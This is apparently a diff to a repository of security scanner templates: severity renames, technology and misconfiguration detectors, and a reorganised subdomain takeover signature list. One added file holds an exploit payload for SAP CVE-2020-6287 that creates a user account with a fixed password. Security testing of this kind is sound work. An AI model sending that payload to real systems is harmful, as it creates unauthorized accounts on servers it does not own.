+  severity: info
 
 requests:
   - method: GET

payloads/CVE-2020-6287.xml

@@ -0,0 +1 @@
+<root><user><JavaOrABAP>java</JavaOrABAP><username>projectdiscover</username><password>proj3ctD1$c0v3ry</password><userType></userType></user></root>

security-misconfiguration/springboot-detect.yaml

@@ -95,6 +95,7 @@ requests:
         words:
           - "X-Application-Context"
           - "application/json"
+          - "application/vnd.spring-boot.actuator.v2+json"
           - "hprof"
         condition: or
         part: header

security-misconfiguration/wamp-xdebug-detect.yaml

@@ -0,0 +1,19 @@
+id: wamp-xdebug-detect
+
+info:
+  name: WAMP xdebug
+  author: e_schultze_
+  severity: info
+  # Inspired on https://github.com/random-robbie/My-Shodan-Scripts/blob/1b01bceecc9be0b74b202f445874920eee48bba5/wamp-xdebug/wamp-xdebug.py
+  # Goal: detect if xdebug.remote_connect_back is enabled
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/?phpinfo=-1"
+
+    matchers:
+      - type: word
+        words:
+          - 'xdebug.remote_connect_back</td><td class="v">On</td><td class="v">On</td>'
+        part: body

subdomain-takeover/detect-all-takeovers.yaml

@@ -1,15 +1,16 @@
 id: detect-all-takeovers
 
 info:
-  name: Subdomain takeover finder
+  name: Subdomain Takeover Detection
   author: "melbadry9 & pxmme1337"
   severity: high
 
   # Update this list with new takeovers matchers
   # Do not delete other template files for takeover
   # https://github.com/EdOverflow/can-i-take-over-xyz
-  # You need to claim the CNAME the subdomain to confirm the takeover.
-  # Do not report this without claiming the CNAME.
+  # You need to claim the subdomain / CNAME of the subdomain to confirm the takeover.
+  # Do not report subdomain takeover issues only based on detection.
+  # Total number of services #71
 
 requests:
   - method: GET
@@ -18,105 +19,6 @@ requests:
     matchers-condition: or
 
     matchers:
-      - type: word
-        name: pantheon.io
-        words:
-          - "The gods are wise, but do not know of the site which you seek."
-
-      - type: word
-        name: aws-s3-bucket
-        words:
-          - "The specified bucket does not exist"
-
-      - type: word
-        name: anima
-        words:
-          - "If this is your website and you've just created it, try refreshing in a minute"
-
-      - type: word
-        name: ghost
-        words:
-          - "The thing you were looking for is no longer here, or never was"
-
-      - type: regex
-        name: worksites
-        regex:
-          - "(?:Company Not Found|you’re looking for doesn’t exist)"
-
-      - type: word
-        name: landingi
-        words:
-          - It looks like you're lost
-          - The page you are looking for is not found
-
-      - type: word
-        name: helprace
-        words:
-          - Alias not configured!
-          - Admin of this Helprace account needs to set up domain alias
-          - "(see Step 2 here: Using your own domain with Helprace)."
-
-      - type: word
-        name: canny
-        words:
-          - Company Not Found
-          - There is no such company. Did you enter the right URL?
-
-      - type: word
-        name: ngrok
-        words:
-          - ngrok.io not found
-          - Tunnel *.ngrok.io not found
-
-      - type: word
-        name: tumblr
-        words:
-          - Whatever you were looking for doesn't currently exist at this address.
-          - There's nothing here.
-
-      - type: word
-        name: github
-        words:
-          - There isn't a GitHub Pages site here.
-          - For root URLs (like http://example.com/) you must provide an index.html file
-
-      - type: word
-        name: heroku
-        words:
-          - There's nothing here, yet.
-          - herokucdn.com/error-pages/no-such-app.html
-          - "<title>No such app</title>"
-
-      - type: word
-        name: tictail
-        words:
-          - Building a brand of your own?
-          - 'to target URL: <a href="https://tictail.com'
-          - Start selling on Tictail.
-
-      - type: word
-        name: campaignmonitor
-        words:
-          - "<strong>Trying to access your account?</strong>"
-          - or <a href="mailto:[email protected]
-
-      - type: word
-        name: cargocollective
-        words:
-          - <div class="notfound">
-          - 404 Not Found<br>
-
-      - type: word
-        name: bitbucket
-        words:
-          - The page you have requested does not exist
-          - Repository not found
-
-      - type: word
-        name: smartling
-        words:
-          - Domain is not configured
-
       - type: word
         name: acquia
         words:
@@ -124,93 +26,14 @@ requests:
           - The site you are looking for could not be found.
 
       - type: word
-        name: uservoice
+        name: agilecrm
         words:
-          - This UserVoice subdomain is currently available!
+          - Sorry, this page is no longer available.
 
       - type: word
-        name: ghost
+        name: airee
         words:
-          - The thing you were looking for is no longer here
-          - The thing you were looking for is no longer here, or never was
-
-      - type: word
-        name: tilda
-        words:
-          - Domain has been assigned
-
-      - type: word
-        name: wordpress
-        words:
-          - Do you want to register
-
-      - type: word
-        name: teamwork
-        words:
-          - Oops - We didn't find your site.
-
-      - type: word
-        name: helpjuice
-        words:
-          - We could not find what you're looking for.
-
-      - type: word
-        name: helpscout
-        words:
-          - "No settings were found for this company:"
-
-      - type: word
-        name: cargo
-        words:
-          - If you're moving your domain away from Cargo you must make this configuration
-            through your registrar's DNS control panel.
-
-      - type: word
-        name: feedpress
-        words:
-          - The feed has not been found.
-
-      - type: word
-        name: surge
-        words:
-          - project not found
-
-      - type: word
-        name: surveygizmo
-        words:
-          - data-html-name
-
-      - type: word
-        name: mashery
-        words:
-          - Unrecognized domain <strong>
-
-      - type: word
-        name: intercom
-        words:
-          - This page is reserved for artistic dogs.
-          - <h1 class="headline">Uh oh. That page doesn’t exist.</h1>
-
-      - type: word
-        name: webflow
-        words:
-          - <p class="description">The page you are looking for doesn't exist or has been
-            moved.</p>
-
-      - type: word
-        name: thinkific
-        words:
-          - You may have mistyped the address or the page may have moved.
-
-      - type: word
-        name: tave
-        words:
-          - "<h1>Error 404: Page Not Found</h1>"
-
-      - type: word
-        name: wishpond
-        words:
-          - https://www.wishpond.com/404?campaign=true
+          - Ошибка 402. Сервис Айри.рф не оплачен
 
       - type: word
         name: aftership
@@ -224,9 +47,14 @@ requests:
           - There is no portal here ... sending you back to Aha!
 
       - type: word
-        name: brightcove
+        name: anima
         words:
-          - '<p class="bc-gallery-error-code">Error Code: 404</p>'
+          - "If this is your website and you've just created it, try refreshing in a minute"
+
+      - type: word
+        name: aws-bucket
+        words:
+          - "The specified bucket does not exist"
 
       - type: word
         name: bigcartel
@@ -234,24 +62,62 @@ requests:
           - "<h1>Oops! We couldn&#8217;t find that page.</h1>"
 
       - type: word
-        name: compaignmonitor
+        name: bitbucket
         words:
-          - Double check the URL or <a href="mailto:[email protected]
+          - The page you have requested does not exist
+          - Repository not found
 
       - type: word
-        name: acquia
+        name: brightcove
         words:
-          - The site you are looking for could not be found.
+          - '<p class="bc-gallery-error-code">Error Code: 404</p>'
 
       - type: word
-        name: proposify
+        name: campaignmonitor
         words:
-          - If you need immediate assistance, please contact <a href="mailto:[email protected]
+          - "<strong>Trying to access your account?</strong>"
+          - or <a href="mailto:[email protected]
 
       - type: word
-        name: simplebooklet
+        name: canny
         words:
-          - We can't find this <a href="https://simplebooklet.com
+          - Company Not Found
+          - There is no such company. Did you enter the right URL?
+
+      - type: word
+        name: cargo
+        words:
+          - If you're moving your domain away from Cargo you must make this configuration
+            through your registrar's DNS control panel.
+
+      - type: word
+        name: cargocollective
+        words:
+          - <div class="notfound">
+          - 404 Not Found<br>
+
+      - type: word
+        name: fastly
+        words:
+          - "Fastly error: unknown domain:"
+
+      - type: word
+        name: feedpress
+        words:
+          - The feed has not been found.
+
+      - type: word
+        name: frontify
+        words:
+          - 404 - Page Not Found
+          - Oops… looks like you got lost
+        condition: and
+        part: body
+
+      - type: word
+        name: gemfury
+        words:
+          - "404: This page could not be found."
 
       - type: word
         name: getresponse
@@ -259,58 +125,46 @@ requests:
           - With GetResponse Landing Pages, lead generation has never been easier
 
       - type: word
-        name: vend
+        name: ghost
         words:
-          - Looks like you've traveled too far into cyberspace.
+          - The thing you were looking for is no longer here
+          - The thing you were looking for is no longer here, or never was
 
       - type: word
-        name: jetbrains
+        name: github
         words:
-          - is not a registered InCloud YouTrack.
+          - There isn't a GitHub Pages site here.
+          - For root URLs (like http://example.com/) you must provide an index.html file
 
       - type: word
-        name: readme
-        words:
-          - Project doesnt exist... yet!
-
-      - type: word
-        name: smugmug
-        words:
-          - '{"text":"Page Not Found"'
-
-      - type: word
-        name: airee
-        words:
-          - Ошибка 402. Сервис Айри.рф не оплачен
-
-      - type: word
-        name: kinsta
-        words:
-          - No Site For Domain
-
-      - type: word
-        name: launchrock
-        words:
-          - It looks like you may have taken a wrong turn somewhere. Don't worry...it happens
-            to all of us.
-
-      - type: word
-        name: Strikingly
-        words:
-          - But if you're looking to build your own website
-          - you've come to the right place.
-
-      - type: word
-        name: HatenaBlog
+        name: hatenablog
         words:
           - 404 Blog is not found
           - Sorry, we can't find the page you're looking for.
 
       - type: word
-        name: wufoo
+        name: helpjuice
         words:
-          - Profile not found
-          - Hmmm....something is not right.
+          - We could not find what you're looking for.
+
+      - type: word
+        name: helprace
+        words:
+          - Alias not configured!
+          - Admin of this Helprace account needs to set up domain alias
+          - "(see Step 2 here: Using your own domain with Helprace)."
+
+      - type: word
+        name: helpscout
+        words:
+          - "No settings were found for this company:"
+
+      - type: word
+        name: heroku
+        words:
+          - There's nothing here, yet.
+          - herokucdn.com/error-pages/no-such-app.html
+          - "<title>No such app</title>"
 
       - type: word
         name: hubspot
@@ -318,27 +172,54 @@ requests:
           - Domain not found
           - does not exist in our system
 
+      - type: word
+        name: intercom
+        words:
+          - This page is reserved for artistic dogs.
+          - <h1 class="headline">Uh oh. That page doesn’t exist.</h1>
+
       - type: word
         name: jazzhr
         words:
           - This account no longer active
 
       - type: word
-        name: smartjob
+        name: jetbrains
         words:
-          - Job Board Is Unavailable
-          - This job board website is either expired
-          - This job board website is either expired or its domain name is invalid.
-
-      - type: regex
-        name: Uptimerobot
-        regex:
-          - "^page not found$"
+          - is not a registered InCloud YouTrack.
 
       - type: word
-        name: agile
+        name: kinsta
         words:
-          - Sorry, this page is no longer available.
+          - No Site For Domain
+
+      - type: word
+        name: landingi
+        words:
+          - It looks like you're lost
+          - The page you are looking for is not found
+
+      - type: word
+        name: launchrock
+        words:
+          - It looks like you may have taken a wrong turn somewhere. Don't worry...it happens
+            to all of us.
+
+      - type: word
+        name: mashery
+        words:
+          - Unrecognized domain <strong>
+
+      - type: word
+        name: ngrok
+        words:
+          - ngrok.io not found
+          - Tunnel *.ngrok.io not found
+
+      - type: word
+        name: pantheon.io
+        words:
+          - "The gods are wise, but do not know of the site which you seek."
 
       - type: word
         name: pingdom
@@ -346,7 +227,161 @@ requests:
           - Public Report Not Activated
           - This public report page has not been activated by the user
 
+      - type: word
+        name: proposify
+        words:
+          - If you need immediate assistance, please contact <a href="mailto:[email protected]
+
+      - type: word
+        name: readme
+        words:
+          - Project doesnt exist... yet!
+
+      - type: word
+        name: shopify
+        words:
+          - "Sorry, this shop is currently unavailable."
+
+      - type: word
+        name: simplebooklet
+        words:
+          - We can't find this <a href="https://simplebooklet.com
+
+      - type: word
+        name: smartjob
+        words:
+          - Job Board Is Unavailable
+          - This job board website is either expired
+          - This job board website is either expired or its domain name is invalid.
+
+      - type: word
+        name: smartling
+        words:
+          - Domain is not configured
+
+      - type: word
+        name: smugmug
+        words:
+          - '{"text":"Page Not Found"'
+
+      - type: word
+        name: strikingly
+        words:
+          - But if you're looking to build your own website
+          - you've come to the right place.
+
+      - type: word
+        name: surge
+        words:
+          - project not found
+
+      - type: word
+        name: surveygizmo
+        words:
+          - data-html-name
+
+      - type: word
+        name: tave
+        words:
+          - "<h1>Error 404: Page Not Found</h1>"
+
+      - type: word
+        name: teamwork
+        words:
+          - Oops - We didn't find your site.
+
+      - type: word
+        name: thinkific
+        words:
+          - You may have mistyped the address or the page may have moved.
+
+      - type: word
+        name: tictail
+        words:
+          - Building a brand of your own?
+          - 'to target URL: <a href="https://tictail.com'
+          - Start selling on Tictail.
+
+      - type: word
+        name: tilda
+        words:
+          - Domain has been assigned
+
+      - type: word
+        name: tumblr
+        words:
+          - Whatever you were looking for doesn't currently exist at this address.
+          - There's nothing here.
+
+      - type: word
+        name: uberflip
+        words:
+          - "Non-hub domain, The URL you've accessed does not provide a hub."
+
+      - type: regex
+        name: unbounce
+        regex:
+          - "^The requested URL was not found on this server.$"
+
+      - type: regex
+        name: uptimerobot
+        regex:
+          - "^page not found$"
+
+      - type: word
+        name: uservoice
+        words:
+          - This UserVoice subdomain is currently available!
+
+      - type: word
+        name: vend
+        words:
+          - Looks like you've traveled too far into cyberspace.
+
+      - type: word
+        name: webflow
+        words:
+          - <p class="description">The page you are looking for doesn't exist or has been
+            moved.</p>
+
+      - type: word
+        name: wishpond
+        words:
+          - https://www.wishpond.com/404?campaign=true
+
+      - type: word
+        name: wordpress
+        words:
+          - Do you want to register
+
+      - type: regex
+        name: worksites
+        regex:
+          - "(?:Company Not Found|you&rsquo;re looking for doesn&rsquo;t exist)"
+
+      - type: word
+        name: wufoo
+        words:
+          - Profile not found
+          - Hmmm....something is not right.
+
       - type: word
         name: zendesk
         words:
           - this help center no longer exists
+
+      - type: word
+        name: readthedocs
+        words:
+          - unknown to Read the Docs
+
+      - type: word
+        name: tilda
+        words:
+          - <title>Please renew your subscription</title>
+          - Please go to the site settings and put the domain name in the Domain tab.
+
+      - type: word
+        name: smart-jobboard
+        words:
+          - This job board website is either expired or its domain name is invalid.

subdomain-takeover/pantheon.io.yaml

@@ -1,15 +0,0 @@
-id: pantheon-io-takeover
-
-info:
-  name: Find Pantheon.io subdomain takeover
-  author: pxmme1337
-  severity: high
-
-requests:
-  - method: GET
-    path:
-      - "{{BaseURL}}/"
-    matchers:
-      - type: word
-        words:
-          - "The gods are wise, but do not know of the site which you seek."

subdomain-takeover/worksites-takeover.yaml

@@ -1,16 +0,0 @@
-id: worksites-takeover
-
-info:
-  name: Find worksites-takeover
-  author: melbadry9
-  severity: high
-
-requests:
-  - method: GET
-    path:
-      - "{{BaseURL}}/"
-    matchers:
-      - type: regex
-        regex:
-          - "(?:Company Not Found|you’re looking for doesn’t exist)"
-        part: body

technologies/aem-cms-finder.yaml

@@ -3,7 +3,7 @@ id: aem-cms-finder
 info:
   name: AEM Finder
   author: mzack9999
-  severity: informative
+  severity: info
 
 requests:
   - method: GET

technologies/bigip-config-utility-detect.yaml

@@ -3,7 +3,7 @@ id: bigip-config-utility
 info:
   name: BIG-IP Configuration Utility detected
   author: dwisiswant0
-  severity: informative
+  severity: info
 
 requests:
   - method: GET

technologies/cdn.yaml

@@ -3,7 +3,7 @@ id: content-delivery-network
 info:
   name: Detect content delivery network
   author: fabaff
-  severity: informative
+  severity: info
 
 requests:
   - method: GET

technologies/citrix-vpn-detect.yaml

@@ -3,7 +3,7 @@ id: citrix-vpn-detect
 info:
   name: Citrix VPN Detection
   author: bauthard
-  severity: informative
+  severity: info
 
 requests:
   - method: GET

technologies/cms-detect.yaml

@@ -3,7 +3,7 @@ id: cms-detect
 info:
   name: CMS Detect
   author: NkxxkN https://twitter.com/NkkxN
-  severity: informative
+  severity: info
 
 requests:
   - method: GET

technologies/github-enterprise-detect.yaml

@@ -3,7 +3,7 @@ id: Github-Enterprise-Detect
 info:
   name: Detect Github Enterprise
   author: ehsahil
-  severity: informative
+  severity: info
 
 requests:
   - method: GET

technologies/gitlab-detect.yaml

@@ -3,7 +3,7 @@ id: Gitlab-Detect
 info:
   name: Detect Gitlab
   author: ehsahil
-  severity: informative
+  severity: info
 
 requests:
   - method: GET

technologies/graphql.yaml

@@ -3,7 +3,7 @@ id: graphql
 info:
   name: GraphQL API
   author: NkxxkN
-  severity: informative
+  severity: info
 
 requests:
   - method: POST

technologies/home-assistant.yaml

@@ -3,7 +3,7 @@ id: home-assistant
 info:
   name: Detect Home Assistant
   author: fabaff
-  severity: informative
+  severity: info
 
 requests:
   - method: GET

technologies/jaspersoft-detect.yaml

@@ -3,7 +3,7 @@ id: Jaspersoft-detect
 info:
   name: Jaspersoft detected
   author: koti2
-  severity: informative
+  severity: info
 
 requests:
   - method: GET

technologies/jenkins-headers-detect.yaml

@@ -3,7 +3,7 @@ id: jenkins-headers-detect
 info:
   name: Jenkins Headers Based Detection
   author: ice3man
-  severity: informative
+  severity: info
 
 requests:
   - method: GET

technologies/jira-detect.yaml

@@ -3,7 +3,7 @@ id: jira-detect
 info:
   name: Detect Jira Issue Management Software
   author: bauthard
-  severity: informative
+  severity: info
 
 requests:
   - method: GET

technologies/linkerd-badrule-detect.yaml

@@ -9,7 +9,7 @@ id: linkerd-badrule-detect
 info:
   name: Linkerd detection via bad rule
   author: dudez
-  severity: informative
+  severity: info
 
 requests:
   - method: GET

technologies/linkerd-ssrf-detect.yaml

@@ -18,7 +18,7 @@ id: linkerd-ssrf-detect
 info:
   name: Linkerd SSRF detection
   author: dudez
-  severity: informative
+  severity: info
 
 requests:
   - method: GET

technologies/netsweeper-webadmin-detect.yaml

@@ -3,7 +3,7 @@ id: netsweeper-webadmin-detect
 info:
   name: Netsweeper WebAdmin detected
   author: dwisiswant0
-  severity: informative
+  severity: info
 
 requests:
   - method: GET

technologies/ntlm-directories.yaml

@@ -3,7 +3,7 @@ id: ntlm-directories
 info:
   name: Discovering directories w/ NTLM
   author: puzzlepeaches
-  severity: informative
+  severity: info
 
 requests:
   - method: GET

technologies/programming-language-detect.yaml

@@ -3,7 +3,7 @@ id: programming-language-detect
 info:
   name: Programming Language Detect
   author: NkxxkN https://twitter.com/NkkxN
-  severity: informative
+  severity: info
 
 requests:
   - method: GET

technologies/reverse-proxy-detect.yaml

@@ -3,7 +3,7 @@ id: reverse-proxy-detect
 info:
   name: Reverse Proxy Detect
   author: NkxxkN https://twitter.com/NkkxN
-  severity: informative
+  severity: info
 
 requests:
   - method: GET

technologies/s3-detect.yaml

@@ -3,7 +3,7 @@ id: s3-detect
 info:
   name: Detect Amazon-S3 Bucket
   author: melbadry9
-  severity: informative
+  severity: info
 
 requests:
   - method: GET